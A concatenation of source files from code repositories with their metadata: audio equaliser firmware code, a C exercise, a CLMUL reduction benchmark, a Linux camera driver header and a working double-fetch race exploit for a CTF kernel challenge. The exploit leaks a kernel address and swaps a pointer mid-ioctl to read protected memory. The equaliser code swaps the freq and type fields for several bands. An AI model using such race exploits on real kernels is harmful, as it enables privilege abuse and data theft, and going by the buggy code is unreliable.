UINT32 *pSbcDecOutPcmAddrEnd = (UINT32 *)hal_VocGetPointer(SBC_DEC_PCM_OUT_ADDR_end);
*pSbcDecOutPcmAddrBegain = (UINT32)hal_VocGetDmaiPointer(pAddrBegain,HAL_VOC_DMA_WRITE,HAL_VOC_DMA_BURST,HAL_VOC_DMA_B2S_NO);
*pSbcDecOutPcmAddrEnd = (UINT32)hal_VocGetDmaiPointer(pAddrEnd,HAL_VOC_DMA_WRITE,HAL_VOC_DMA_BURST,HAL_VOC_DMA_B2S_NO);
}
void vpp_SBCDecSetAudioParamReloadFlag(UINT8 flag)
{
reCalcSbcdecEQ = flag;
}
#if 0
short iir_eq_coeffs[7][6] =
{
{0x3eb9, 0xffff828f, 0x3eb9, 0x4000, 0x7d6b, 0xffffc287},
{0x4000, 0xffff8529, 0x3b0b, 0x4000, 0x7ad7, 0xffffc4f5},
{0x4000, 0xffff8a4d, 0x3679, 0x4000, 0x75b3, 0xffffc987},
{0x4000, 0xffff947f, 0x2e5d, 0x4000, 0x6b81, 0xffffd1a3},
{0x4000, 0xffffa85d, 0x219c, 0x4000, 0x57a3, 0xffffde64},
{0x4000, 0xffffcdbc, 0x121a, 0x4000, 0x3244, 0xffffede6},
{0x1ecb, 0x3d97, 0x1ecb, 0x4000, 0xffffd4fd, 0xffffefd6},
};
short iir_eq_coeffs[7][6] =
{
{0x4000, 0x0000, 0x0000, 0x4000, 0x0000, 0x0000},
{0x4000, 0x0000, 0x0000, 0x4000, 0x0000, 0x0000},
{0x4000, 0x0000, 0x0000, 0x4000, 0x0000, 0x0000},
{0x4000, 0x0000, 0x0000, 0x4000, 0x0000, 0x0000},
{0x4000, 0x0000, 0x0000, 0x4000, 0x0000, 0x0000},
{0x4000, 0x0000, 0x0000, 0x4000, 0x0000, 0x0000},
{0x4000, 0x0000, 0x0000, 0x4000, 0x0000, 0x0000},
};
#endif
void vpp_SBCDecSetEqParam(CALIB_AUDIO_IIR_EQ_T *eq, UINT8 num)
{
int i;
INT32 *IIR_Init = (INT32 *)hal_VocGetPointer(m_IIRProcPara_ADDR);
sIIRcoefficients *iir_coef = (sIIRcoefficients *)get_coeffs_point();
*((INT16 *)hal_VocGetPointer(IIR_ENABLE_FLAG_ADDR)) = eq->flag;
*((INT16 *)hal_VocGetPointer(IIR_PCM_BAND_ACTIVE_NUM)) = num;
hal_HstSendEvent(SYS_EVENT,0x20170010);
hal_HstSendEvent(SYS_EVENT,(UINT32)eq);
hal_HstSendEvent(SYS_EVENT,(UINT32)IIR_Init);
hal_HstSendEvent(SYS_EVENT,(UINT32)num);
#if 1
// each band has 6 coeffs(num[3], den[3])
for (i = 0; i < CALIB_AUDIO_IIR_BANDS; i++)
{
IIR_Init[0] = iir_coef->num[0];
IIR_Init[1] = iir_coef->num[1];
IIR_Init[2] = iir_coef->num[2];
IIR_Init[3] = iir_coef->den[0];
IIR_Init[4] = iir_coef->den[1];
IIR_Init[5] = iir_coef->den[2];
IIR_Init += 6;
iir_coef += 1;
}
//#else
//memcpy(IIR_Init, iir_eq_coeffs, 6*7*2);
#endif
return;
}
//typedef enum
//{
// SKIP = 0,
// LPF,
// HPF,
// peakingEQ,
// lowShelf,
// highShelf,
//} FILTER_TYPE;
void vpp_SBCDecSetConstEqParam(CALIB_AUDIO_IIR_EQ_T *eq, AUDIO_EQ eq_type)
{
hal_HstSendEvent(SYS_EVENT,0x88700001);
hal_HstSendEvent(SYS_EVENT,eq_type);
eq->band[0].type = peakingEQ;
eq->band[0].freq = 100;
eq->band[0].param.qual = 7;
eq->band[1].type = peakingEQ;
eq->band[1].freq = 200;
eq->band[1].param.qual = 7;
eq->band[2].type = peakingEQ;
eq->band[2].freq = 400;
eq->band[2].param.qual = 7;
eq->band[3].type = peakingEQ;
eq->band[3].freq = 600;
eq->band[3].param.qual = 7;
eq->band[4].type = peakingEQ;
eq->band[4].freq = 1000;
eq->band[4].param.qual = 7;
eq->band[5].type = peakingEQ;
eq->band[5].freq = 2000;
eq->band[5].param.qual = 7;
eq->band[6].freq = peakingEQ;
eq->band[6].type = 4000;
eq->band[6].param.qual = 7;
eq->band[7].freq = peakingEQ;
eq->band[7].type = 8000;
eq->band[7].param.qual = 7;
eq->band[8].freq = peakingEQ;
eq->band[8].type = 12000;
eq->band[8].param.qual = 7;
eq->band[9].freq = peakingEQ;
eq->band[9].type = 16000;
eq->band[9].param.qual = 7;
switch(eq_type)
{
case BASS :
eq->band[0].gain = 5;
eq->band[1].gain = 4;
eq->band[2].gain = 3;
eq->band[3].gain = 2;
eq->band[4].gain = 0;
eq->band[5].gain = 0;
eq->band[6].gain = -1;
eq->band[7].gain = -1;
eq->band[8].gain = -2;
eq->band[9].gain = -2;
break;
case DANCE :
eq->band[0].gain = 0;
eq->band[1].gain = 0;
eq->band[2].gain = 2;
eq->band[3].gain = 3;
eq->band[4].gain = 2;
eq->band[5].gain = 0;
eq->band[6].gain = 1;
eq->band[7].gain = 2;
eq->band[8].gain = 3;
eq->band[9].gain = 2;
break;
case CLASSICAL :
eq->band[0].gain = 0;
eq->band[1].gain = 2;
eq->band[2].gain = 3;
eq->band[3].gain = 3;
eq->band[4].gain = 2;
eq->band[5].gain = 0;
eq->band[6].gain = 0;
eq->band[7].gain = 0;
eq->band[8].gain = 1;
eq->band[9].gain = 0;
break;
case TREBLE :
eq->band[0].gain = 0;
eq->band[1].gain = -2;
eq->band[2].gain = -4;
eq->band[3].gain = -1;
eq->band[4].gain = -1;
eq->band[5].gain = 0;
eq->band[6].gain = 2;
eq->band[7].gain = 4;
eq->band[8].gain = 3;
eq->band[9].gain = 0;
break;
case PARTY :
eq->band[0].gain = 0;
eq->band[1].gain = 0;
eq->band[2].gain = 0;
eq->band[3].gain = 0;
eq->band[4].gain = 2;
eq->band[5].gain = 4;
eq->band[6].gain = 4;
eq->band[7].gain = 0;
eq->band[8].gain = 0;
eq->band[9].gain = 0;
break;
case POP :
eq->band[0].gain = 3;
eq->band[1].gain = 1;
eq->band[2].gain = 0;
eq->band[3].gain = -2;
eq->band[4].gain = -4;
eq->band[5].gain = -4;
eq->band[6].gain = -2;
eq->band[7].gain = 0;
eq->band[8].gain = 1;
eq->band[9].gain = 2;
break;
case ROCK :
eq->band[0].gain = -2;
eq->band[1].gain = 0;
eq->band[2].gain = 2;
eq->band[3].gain = 4;
eq->band[4].gain = -2;
eq->band[5].gain = -2;
eq->band[6].gain = 0;
eq->band[7].gain = 0;
eq->band[8].gain = 2;
eq->band[9].gain = 3;
break;
case NORMAL :
default :
eq->band[0].gain = 0;
eq->band[1].gain = 0;
eq->band[2].gain = 0;
eq->band[3].gain = 0;
eq->band[4].gain = 0;
eq->band[5].gain = 0;
eq->band[6].gain = 0;
eq->band[7].gain = 0;
eq->band[8].gain = 0;
eq->band[9].gain = 0;
eq->flag = 0;
break;
}
return;
}
//=============================================================================
// vpp_AudioJpegDecScheduleOneFrame function
//-----------------------------------------------------------------------------
HAL_ERR_T vpp_SBCDecScheduleOneFrame(vpp_SBC_DEC_IN_T *pDecIn)
{
//hal_HstSendEvent(SYS_EVENT,0x88200000);
vpp_SBC_DEC_IN_T *pDecInVoC = (vpp_SBC_DEC_IN_T *)hal_VocGetPointer(vpp_SBC_DEC_IN_STRUCT);
INT16 init,audiomode,algGain;
extern UINT16 *g_last_buffer_addr;
CALIB_CALIBRATION_T* calibPtr = tgt_GetCalibConfig();
CALIB_AUDIO_IIR_EQ_T EQ_COEF;
HAL_ERR_T voc_state;
static INT32 SbcdecSampleRate = 0;
static UINT8 sbc_eq_active_num = 0;
*pDecInVoC=*pDecIn;
g_last_buffer_addr = (UINT16*)(pDecInVoC->outStreamBufAddr);
pDecInVoC->inStreamBufAddr = hal_VocGetDmaiPointer(pDecIn->inStreamBufAddr, HAL_VOC_DMA_READ,HAL_VOC_DMA_BURST,HAL_VOC_DMA_B2S_NO);
pDecInVoC->outStreamBufAddr = hal_VocGetDmaiPointer(pDecIn->outStreamBufAddr,HAL_VOC_DMA_WRITE,HAL_VOC_DMA_BURST,HAL_VOC_DMA_B2S_NO);
pDecIn->reset = 0;
pDecInVoC->EQ_Type = pDecIn->EQ_Type;
// set alg gain
algGain = aud_GetOutAlgGainDb2Val();
*((INT32*)hal_VocGetPointer(GLOBAL_DIGITAL_GAIN_SBCDEC_ADDR)) = algGain;
// set mp3eq
CALIB_AUDIO_IIR_EQ_T *eq = &(calibPtr->aud.audioMusic[(UINT8)calibPtr->aud.audioMusicItfMap[audioItf]].eq);
if(reCalcSbcdecEQ == 1)
{
if(pDecIn->EQ_Type)
{
eq = &EQ_COEF;
eq->flag = 1;
}
vpp_SBCDecSetEqParam(eq, sbc_eq_active_num);
hal_HstSendEvent(SYS_EVENT,0x2017000c);
reCalcSbcdecEQ = 0;
}
if((SbcdecFirstFlag==1)||(pDecIn->audioItf != audioItf))
{
//set drc
CALIB_AUDIO_MUSIC_DRC_T drc_in = (CALIB_AUDIO_MUSIC_DRC_T)(calibPtr->aud.audioMusic[(UINT8)calibPtr->aud.audioMusicItfMap[audioItf]].drc);
INT16 drc_alg_gain = 0;
if(drc_in.alc_enable==1)
{
hal_HstSendEvent(SYS_EVENT,0x2017ff01);
hal_HstSendEvent(SYS_EVENT,drc_in.thres);
hal_HstSendEvent(SYS_EVENT,drc_in.width);
hal_HstSendEvent(SYS_EVENT,drc_in.Thr_dB);
vpp_DecSetDrcmodeParam(drc_in,drc_alg_gain);
}
else
{
hal_HstSendEvent(SYS_EVENT,0x2017ff00);
*((INT16*)(hal_VocGetPointer(DRC_G_Y_alc_enable))) = 0;
}
pDecIn->audioItf = audioItf;
}
*((INT16 *)hal_VocGetPointer(vpp_SBC_DEC_IN_LENGTH)) = 1024;
init = *((INT16 *)hal_VocGetPointer(vpp_SBC_DEC_INIT));
audiomode = *((INT16 *)hal_VocGetPointer(vpp_SBC_DEC_IN_STRUCT+36));
voc_state = hal_VocWakeup(HAL_VOC_WAKEUP_EVENT_0);
if (reCalcSbcdecEQ > 1 && SbcdecFirstFlag == 0)
{
if(reCalcSbcdecEQ == 3)
{
pDecIn->EQ_Type = 0;
}
if(pDecIn->EQ_Type)
{
vpp_SBCDecSetConstEqParam(&EQ_COEF, pDecIn->EQ_Type);
eq = &EQ_COEF;
}
vpp_SBC_DEC_OUT_T *pDecOutVoC = (vpp_SBC_DEC_OUT_T *)hal_VocGetPointer(vpp_SBC_DEC_OUT_STRUCT);
switch(pDecOutVoC->freq)
{
case 0 : SbcdecSampleRate = 16000;
break;
case 1 : SbcdecSampleRate = 32000;
break;
case 2 : SbcdecSampleRate = 44100;
break;
case 3 : SbcdecSampleRate = 48000;
break;
default : SbcdecSampleRate = 44100;
break;
}
sbc_eq_active_num = calc_coeffs_for_voc(eq, SbcdecSampleRate, audioItf);
hal_HstSendEvent(SYS_EVENT,0x2017000b);
hal_HstSendEvent(SYS_EVENT,(UINT32)SbcdecSampleRate);
hal_HstSendEvent(SYS_EVENT,(UINT32)eq->flag);
hal_HstSendEvent(SYS_EVENT,(UINT32)algGain);
hal_HstSendEvent(SYS_EVENT,(UINT32)audioItf);
hal_HstSendEvent(SYS_EVENT,(UINT32)eq);
reCalcSbcdecEQ = 1;
}
if(SbcdecFirstFlag)
{
SbcdecFirstFlag = 0;
}
return voc_state;
}
| [
"info@electrodragon.com"
] | info@electrodragon.com |
1f072701568fcdd362d05e14d222f23bdcfee163 | fe5b4e7af9a4504437d33734de0ea62baf454b69 | /Learning/OtherLanguages/C/C练习题/Use C/22.c | 0e9206dbacee9661cee3f6bc109dac54a7eeea25 | [] | no_license | FelicxFoster/Sources | 937f2936b0fa3eef9dd2bbbde09e7f44755b8a8a | 3750c393088c281c000228d84fe619ba321bd5bc | refs/heads/master | 2020-04-22T09:37:05.191325 | 2016-08-06T07:02:50 | 2016-08-06T07:02:50 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 467 | c | #include <stdio.h>
void main()
{
char i, j, k;
for(i='x';i<='z';i++)
{
for(j='x';j<='z';j++)
{
for(k='x';k<='z';k++)
{
if(i!=j && i!=k && j!=k)
{
if(i!='x' && k!='x' && k!='z')
{
printf("a<->%c\nb<->%c\nc<->%c\n", i, j, k);
}
}
}
}
}
}
| [
"zoro@onepiece.com"
] | zoro@onepiece.com |
874c18716352d10f69b743b73be5c641f0372846 | cdfd3a4a8134aa8f97ed3c5751eefdfd9fbba747 | /src/benchmark64bitreductions.c | accbfc7ea46e82c5e0171dfdb6fef57e0a696c9e | [
"MIT",
"LicenseRef-scancode-public-domain",
"Apache-2.0"
] | permissive | pombreda/StronglyUniversalStringHashing | 50b9c8fb833544839610c24b68b457c0c89e4581 | 20d1fe8769bb03e1520999aef1439e1429b27b10 | refs/heads/master | 2021-01-16T21:02:56.932260 | 2015-03-20T21:52:41 | 2015-03-20T21:52:41 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,346 | c |
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/time.h>
#include <assert.h>
#include <unistd.h>
#ifdef __AVX__
#define __PCLMUL__ 1
#endif
typedef unsigned long long ticks;
// Taken from stackoverflow (see http://stackoverflow.com/questions/3830883/cpu-cycle-count-based-profiling-in-c-c-linux-x86-64)
// Can give nonsensical results on multi-core AMD processors.
ticks rdtsc() {
unsigned int lo, hi;
asm volatile (
"cpuid \n" /* serializing */
"rdtsc"
: "=a"(lo), "=d"(hi) /* outputs */
: "a"(0) /* inputs */
: "%ebx", "%ecx");
/* clobbers*/
return ((unsigned long long) lo) | (((unsigned long long) hi) << 32);
}
ticks startRDTSC(void) {
return rdtsc();
}
ticks stopRDTSCP(void) {
return rdtsc();
}
#include "clmul.h"
void force_computation(uint32_t forcedValue) {
// make sure forcedValue has to be computed, but avoid output (unless unlucky)
if (forcedValue % 277387 == 17)
printf("wow, what a coincidence! (in benchmark.c)");
}
void printusage(char * command) {
printf(" Usage: %s ", command);
}
// WARNING: HIGH 64 BITS CONTAIN GARBAGE, must call _mm_cvtsi128_si64 to get
// meaningful bits.
__m128i barrettWithoutPrecomputation64_si128(__m128i A) {
///http://www.jjj.de/mathdata/minweight-primpoly.txt
// it is important, for the algo. we have chosen that 4 is smaller
// equal than 32=64/2
//const int n = 64; // degree of the polynomial
//const __m128i C = _mm_set_epi64x(1U,
// (1U << 4) + (1U << 3) + (1U << 1) + (1U << 0)); // C is the irreducible poly. (64,4,3,1,0)
const __m128i C = _mm_cvtsi64_si128((1U << 4) + (1U << 3) + (1U << 1) + (1U << 0));
/////////////////
/// This algo. requires two multiplications (_mm_clmulepi64_si128)
/// They are probably the bottleneck.
/// Note: Barrett's original algorithm also required two multiplications.
////////////////
//assert(n / 8 == 8);
__m128i Q2 = _mm_clmulepi64_si128(A, C, 0x01);
Q2 = _mm_xor_si128(Q2, A);
const __m128i Q4 = _mm_clmulepi64_si128(Q2, C, 0x01);
const __m128i final = _mm_xor_si128(A, Q4);
return final; /// WARNING: HIGH 64 BITS CONTAIN GARBAGE
}
uint64_t barrettWithoutPrecomputation64(__m128i A) {
const __m128i final = barrettWithoutPrecomputation64_si128(A);
return _mm_cvtsi128_si64(final);
}
int main(int argc, char ** arg) {
int N = 1024;
int SHORTTRIALS = 100000;
int HowManyRepeats = 3;
int elapsed1, elapsed2;
int i,j,k;
int sumToFoolCompiler1, sumToFoolCompiler2;
ticks bef, aft;
struct timeval start, finish;
uint32_t intstring[N] __attribute__ ((aligned (16))); // // could force 16-byte alignment with __attribute__ ((aligned (16)));
int c;
while ((c = getopt(argc, arg, "h")) != -1)
switch (c) {
case 'h':
printusage(arg[0]);
return 0;
default:
abort();
}
for (i = 0; i < N; ++i) {
intstring[i] = rand();
}
printf(
"Reporting the number of cycles per byte and the billions of bytes processed per second.\n");
for (k = 0; k < HowManyRepeats; ++k) {
printf("test #%d (reduction) ", k + 1);
printf("(%d bytes) \n", N * 4);
sumToFoolCompiler1 = 0;
sumToFoolCompiler2 = 0;
__m128i * data = (__m128i *) &intstring[0];
gettimeofday(&start, 0);
bef = startRDTSC();
for (j = 0; j < SHORTTRIALS; ++j)
for (i = 0; i < N / 4; ++i)
sumToFoolCompiler1 += precompReduction64(data[i]);
aft = stopRDTSCP();
gettimeofday(&finish, 0);
elapsed1 = (1000000 * (finish.tv_sec - start.tv_sec)
+ (finish.tv_usec - start.tv_usec));
printf(
"[fast technique] CPU cycle/byte = %f \t billions of bytes per second = %f \n",
(aft - bef) * 1.0 / (4.0 * SHORTTRIALS * N),
(4.0 * SHORTTRIALS * N) / (1000. * elapsed1));
force_computation (sumToFoolCompiler1);
gettimeofday(&start, 0);
bef = startRDTSC();
for (j = 0; j < SHORTTRIALS; ++j)
for (i = 0; i < N / 4; ++i)
sumToFoolCompiler2 += barrettWithoutPrecomputation64(data[i]);
aft = stopRDTSCP();
gettimeofday(&finish, 0);
elapsed2 = (1000000 * (finish.tv_sec - start.tv_sec)
+ (finish.tv_usec - start.tv_usec));
printf(
"[noprecomp ] CPU cycle/byte = %f \t billions of bytes per second = %f \n",
(aft - bef) * 1.0 / (4.0 * SHORTTRIALS * N),
(4.0 * SHORTTRIALS * N) / (1000. * elapsed2));
printf("speed ratio = %f \n",1.*elapsed2/elapsed1);
force_computation (sumToFoolCompiler2);
}
printf("\n");
}
| [
"lemire@gmail.com"
] | lemire@gmail.com |
88496bdc626f87ce2d1d5f8e499693cf62e25c42 | e672a9884d5e07b1458551a69643c080c9c13828 | /finalbaby/exp_double_fetch_ray_cp.c | ecd26ee39b86f121124d9b27efbd8f099014a2e2 | [] | no_license | Robin-Pwner/Kernel_EXP | fd3977d1b26bf247cbe2863ad6fc681ee4ce9082 | 0b6cd6a21d6667e9f9f1672b16a21a245188ed82 | refs/heads/master | 2020-09-07T22:11:13.798912 | 2019-12-09T05:22:38 | 2019-12-09T05:22:38 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,372 | c | /*************************************************************
* File Name: exp_double_fetch.c
*
* Created on: 2019-10-12 21:55:17
* Author: raycp
*
* Last Modified: 2019-10-13 03:42:23
* Description: exp for 0ctf 2018 final baby, double fetch vuln.
************************************************************/
#include<stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdbool.h>
struct user_data
{
char *flag_ptr;
uint32_t len;
};
#define LEN 0x1000
#define TRYTIME 0x1000
char FLAG[]= "flag{1111_2222_33_4444_5555_6666}";
uint64_t global_flag_addr;
bool finish = false;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint64_t get_flag_addr()
{
char buff[LEN];
char *ptr;
uint64_t flag_addr = 0;
system("dmesg > /tmp/dmesg.txt");
int fd = open("/tmp/dmesg.txt", O_RDONLY);
if (fd == -1)
die("open /tmp/dmesg.txt error");
lseek(fd, -LEN, SEEK_END);
read(fd, buff, LEN);
close(fd);
ptr = strstr(buff, "Your flag is at ");
if( ptr == 0 ){
die("no flag addr");
}
else {
ptr = ptr + strlen("Your flag is at ");
flag_addr = strtoull(ptr, ptr+16, 16);
}
return flag_addr;
}
void change_flag_addr(void* flag_info)
{
struct user_data* ptr = (struct user_data*)flag_info;
while(finish == false) {
ptr->flag_ptr = (char*)global_flag_addr;
}
return;
}
int main()
{
struct user_data flag_info;
pthread_t evil_thread;
uint32_t i;
//step 1 open the device
int fd = open("/dev/baby", O_RDWR);
if (fd == -1)
die("open dev error");
//step2 get the flag addr
ioctl(fd, 0x6666);
global_flag_addr = get_flag_addr();
if(global_flag_addr == 0 ){
die("flag addr 0");
}
printf("flag addr: %lp\n", global_flag_addr);
flag_info.flag_ptr = FLAG;
flag_info.len = 33;
//step 3 trigger double fetch
pthread_create(&evil_thread, NULL, change_flag_addr, &flag_info);
for( i=0; i<TRYTIME; i++ ){
ioctl(fd, 0x1337, &flag_info);
flag_info.flag_ptr = FLAG;
}
finish = true;
pthread_join(evil_thread, NULL);
close(fd);
puts("flag is :");
system("dmesg | grep flag");
return 0;
}
| [
"tanxin.ctf@gmail.com"
] | tanxin.ctf@gmail.com |
37435a0870c6016c4189bff9a39a923fc91776ed | 515e2dd1b1d890851725cfc8ea19cf21009ddf74 | /cce/lmedia/drivers/media/platform/s5p-fimc/fimc-core.h | d3a3a00321c3d868d484c565fed2a87ab684c950 | [] | no_license | ghsecuritylab/cwrs | 8fba07d7d9da8ac09ca84b6d69bde7a28ab50422 | 96cdc9390fc8198af30b932a6e6585ab138bcbad | refs/heads/master | 2021-02-26T17:55:37.921181 | 2019-03-08T22:11:36 | 2019-03-08T22:11:36 | 245,543,615 | 0 | 0 | null | 2020-03-07T00:47:33 | 2020-03-07T00:47:32 | null | UTF-8 | C | false | false | 20,714 | h | /*
* Copyright (C) 2010 - 2012 Samsung Electronics Co., Ltd.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#ifndef FIMC_CORE_H_
#define FIMC_CORE_H_
/*#define DEBUG*/
#include <linux/platform_device.h>
#include <linux/sched.h>
#include <linux/spinlock.h>
#include <linux/types.h>
#include <linux/videodev2.h>
#include <linux/io.h>
#include <asm/sizes.h>
#include <media/media-entity.h>
#include <media/videobuf2-core.h>
#include <media/v4l2-ctrls.h>
#include <media/v4l2-device.h>
#include <media/v4l2-mem2mem.h>
#include <media/v4l2-mediabus.h>
#include <media/s5p_fimc.h>
#define dbg(fmt, args...) \
pr_debug("%s:%d: " fmt "\n", __func__, __LINE__, ##args)
/* Time to wait for next frame VSYNC interrupt while stopping operation. */
#define FIMC_SHUTDOWN_TIMEOUT ((100*HZ)/1000)
#define MAX_FIMC_CLOCKS 2
#define FIMC_MODULE_NAME "s5p-fimc"
#define FIMC_MAX_DEVS 4
#define FIMC_MAX_OUT_BUFS 4
#define SCALER_MAX_HRATIO 64
#define SCALER_MAX_VRATIO 64
#define DMA_MIN_SIZE 8
#define FIMC_CAMIF_MAX_HEIGHT 0x2000
/* indices to the clocks array */
enum {
CLK_BUS,
CLK_GATE,
};
enum fimc_dev_flags {
ST_LPM,
/* m2m node */
ST_M2M_RUN,
ST_M2M_PEND,
ST_M2M_SUSPENDING,
ST_M2M_SUSPENDED,
/* capture node */
ST_CAPT_PEND,
ST_CAPT_RUN,
ST_CAPT_STREAM,
ST_CAPT_ISP_STREAM,
ST_CAPT_SUSPENDED,
ST_CAPT_SHUT,
ST_CAPT_BUSY,
ST_CAPT_APPLY_CFG,
ST_CAPT_JPEG,
};
#define fimc_m2m_active(dev) test_bit(ST_M2M_RUN, &(dev)->state)
#define fimc_m2m_pending(dev) test_bit(ST_M2M_PEND, &(dev)->state)
#define fimc_capture_running(dev) test_bit(ST_CAPT_RUN, &(dev)->state)
#define fimc_capture_pending(dev) test_bit(ST_CAPT_PEND, &(dev)->state)
#define fimc_capture_busy(dev) test_bit(ST_CAPT_BUSY, &(dev)->state)
enum fimc_datapath {
FIMC_IO_NONE,
FIMC_IO_CAMERA,
FIMC_IO_DMA,
FIMC_IO_LCDFIFO,
FIMC_IO_WRITEBACK,
FIMC_IO_ISP,
};
enum fimc_color_fmt {
FIMC_FMT_RGB444 = 0x10,
FIMC_FMT_RGB555,
FIMC_FMT_RGB565,
FIMC_FMT_RGB666,
FIMC_FMT_RGB888,
FIMC_FMT_RGB30_LOCAL,
FIMC_FMT_YCBCR420 = 0x20,
FIMC_FMT_YCBYCR422,
FIMC_FMT_YCRYCB422,
FIMC_FMT_CBYCRY422,
FIMC_FMT_CRYCBY422,
FIMC_FMT_YCBCR444_LOCAL,
FIMC_FMT_JPEG = 0x40,
FIMC_FMT_RAW8 = 0x80,
FIMC_FMT_RAW10,
FIMC_FMT_RAW12,
};
#define fimc_fmt_is_rgb(x) (!!((x) & 0x10))
#define fimc_fmt_is_jpeg(x) (!!((x) & 0x40))
#define IS_M2M(__strt) ((__strt) == V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE || \
__strt == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE)
/* The hardware context state. */
#define FIMC_PARAMS (1 << 0)
#define FIMC_SRC_FMT (1 << 3)
#define FIMC_DST_FMT (1 << 4)
#define FIMC_COMPOSE (1 << 5)
#define FIMC_CTX_M2M (1 << 16)
#define FIMC_CTX_CAP (1 << 17)
#define FIMC_CTX_SHUT (1 << 18)
/* Image conversion flags */
#define FIMC_IN_DMA_ACCESS_TILED (1 << 0)
#define FIMC_IN_DMA_ACCESS_LINEAR (0 << 0)
#define FIMC_OUT_DMA_ACCESS_TILED (1 << 1)
#define FIMC_OUT_DMA_ACCESS_LINEAR (0 << 1)
#define FIMC_SCAN_MODE_PROGRESSIVE (0 << 2)
#define FIMC_SCAN_MODE_INTERLACED (1 << 2)
/*
* YCbCr data dynamic range for RGB-YUV color conversion.
* Y/Cb/Cr: (0 ~ 255) */
#define FIMC_COLOR_RANGE_WIDE (0 << 3)
/* Y (16 ~ 235), Cb/Cr (16 ~ 240) */
#define FIMC_COLOR_RANGE_NARROW (1 << 3)
/**
* struct fimc_fmt - the driver's internal color format data
* @mbus_code: Media Bus pixel code, -1 if not applicable
* @name: format description
* @fourcc: the fourcc code for this format, 0 if not applicable
* @color: the corresponding fimc_color_fmt
* @memplanes: number of physically non-contiguous data planes
* @colplanes: number of physically contiguous data planes
* @depth: per plane driver's private 'number of bits per pixel'
* @flags: flags indicating which operation mode format applies to
*/
struct fimc_fmt {
enum v4l2_mbus_pixelcode mbus_code;
char *name;
u32 fourcc;
u32 color;
u16 memplanes;
u16 colplanes;
u8 depth[VIDEO_MAX_PLANES];
u16 flags;
#define FMT_FLAGS_CAM (1 << 0)
#define FMT_FLAGS_M2M_IN (1 << 1)
#define FMT_FLAGS_M2M_OUT (1 << 2)
#define FMT_FLAGS_M2M (1 << 1 | 1 << 2)
#define FMT_HAS_ALPHA (1 << 3)
};
/**
* struct fimc_dma_offset - pixel offset information for DMA
* @y_h: y value horizontal offset
* @y_v: y value vertical offset
* @cb_h: cb value horizontal offset
* @cb_v: cb value vertical offset
* @cr_h: cr value horizontal offset
* @cr_v: cr value vertical offset
*/
struct fimc_dma_offset {
int y_h;
int y_v;
int cb_h;
int cb_v;
int cr_h;
int cr_v;
};
/**
* struct fimc_effect - color effect information
* @type: effect type
* @pat_cb: cr value when type is "arbitrary"
* @pat_cr: cr value when type is "arbitrary"
*/
struct fimc_effect {
u32 type;
u8 pat_cb;
u8 pat_cr;
};
/**
* struct fimc_scaler - the configuration data for FIMC inetrnal scaler
* @scaleup_h: flag indicating scaling up horizontally
* @scaleup_v: flag indicating scaling up vertically
* @copy_mode: flag indicating transparent DMA transfer (no scaling
* and color format conversion)
* @enabled: flag indicating if the scaler is used
* @hfactor: horizontal shift factor
* @vfactor: vertical shift factor
* @pre_hratio: horizontal ratio of the prescaler
* @pre_vratio: vertical ratio of the prescaler
* @pre_dst_width: the prescaler's destination width
* @pre_dst_height: the prescaler's destination height
* @main_hratio: the main scaler's horizontal ratio
* @main_vratio: the main scaler's vertical ratio
* @real_width: source pixel (width - offset)
* @real_height: source pixel (height - offset)
*/
struct fimc_scaler {
unsigned int scaleup_h:1;
unsigned int scaleup_v:1;
unsigned int copy_mode:1;
unsigned int enabled:1;
u32 hfactor;
u32 vfactor;
u32 pre_hratio;
u32 pre_vratio;
u32 pre_dst_width;
u32 pre_dst_height;
u32 main_hratio;
u32 main_vratio;
u32 real_width;
u32 real_height;
};
/**
* struct fimc_addr - the FIMC physical address set for DMA
* @y: luminance plane physical address
* @cb: Cb plane physical address
* @cr: Cr plane physical address
*/
struct fimc_addr {
u32 y;
u32 cb;
u32 cr;
};
/**
* struct fimc_vid_buffer - the driver's video buffer
* @vb: v4l videobuf buffer
* @list: linked list structure for buffer queue
* @paddr: precalculated physical address set
* @index: buffer index for the output DMA engine
*/
struct fimc_vid_buffer {
struct vb2_buffer vb;
struct list_head list;
struct fimc_addr paddr;
int index;
};
/**
* struct fimc_frame - source/target frame properties
* @f_width: image full width (virtual screen size)
* @f_height: image full height (virtual screen size)
* @o_width: original image width as set by S_FMT
* @o_height: original image height as set by S_FMT
* @offs_h: image horizontal pixel offset
* @offs_v: image vertical pixel offset
* @width: image pixel width
* @height: image pixel weight
* @payload: image size in bytes (w x h x bpp)
* @paddr: image frame buffer physical addresses
* @dma_offset: DMA offset in bytes
* @fmt: fimc color format pointer
*/
struct fimc_frame {
u32 f_width;
u32 f_height;
u32 o_width;
u32 o_height;
u32 offs_h;
u32 offs_v;
u32 width;
u32 height;
unsigned long payload[VIDEO_MAX_PLANES];
struct fimc_addr paddr;
struct fimc_dma_offset dma_offset;
struct fimc_fmt *fmt;
u8 alpha;
};
/**
* struct fimc_m2m_device - v4l2 memory-to-memory device data
* @vfd: the video device node for v4l2 m2m mode
* @m2m_dev: v4l2 memory-to-memory device data
* @ctx: hardware context data
* @refcnt: the reference counter
*/
struct fimc_m2m_device {
struct video_device vfd;
struct v4l2_m2m_dev *m2m_dev;
struct fimc_ctx *ctx;
int refcnt;
};
#define FIMC_SD_PAD_SINK 0
#define FIMC_SD_PAD_SOURCE 1
#define FIMC_SD_PADS_NUM 2
/**
* struct fimc_vid_cap - camera capture device information
* @ctx: hardware context data
* @vfd: video device node for camera capture mode
* @subdev: subdev exposing the FIMC processing block
* @vd_pad: fimc video capture node pad
* @sd_pads: fimc video processing block pads
* @mf: media bus format at the FIMC camera input (and the scaler output) pad
* @pending_buf_q: the pending buffer queue head
* @active_buf_q: the queue head of buffers scheduled in hardware
* @vbq: the capture am video buffer queue
* @active_buf_cnt: number of video buffers scheduled in hardware
* @buf_index: index for managing the output DMA buffers
* @frame_count: the frame counter for statistics
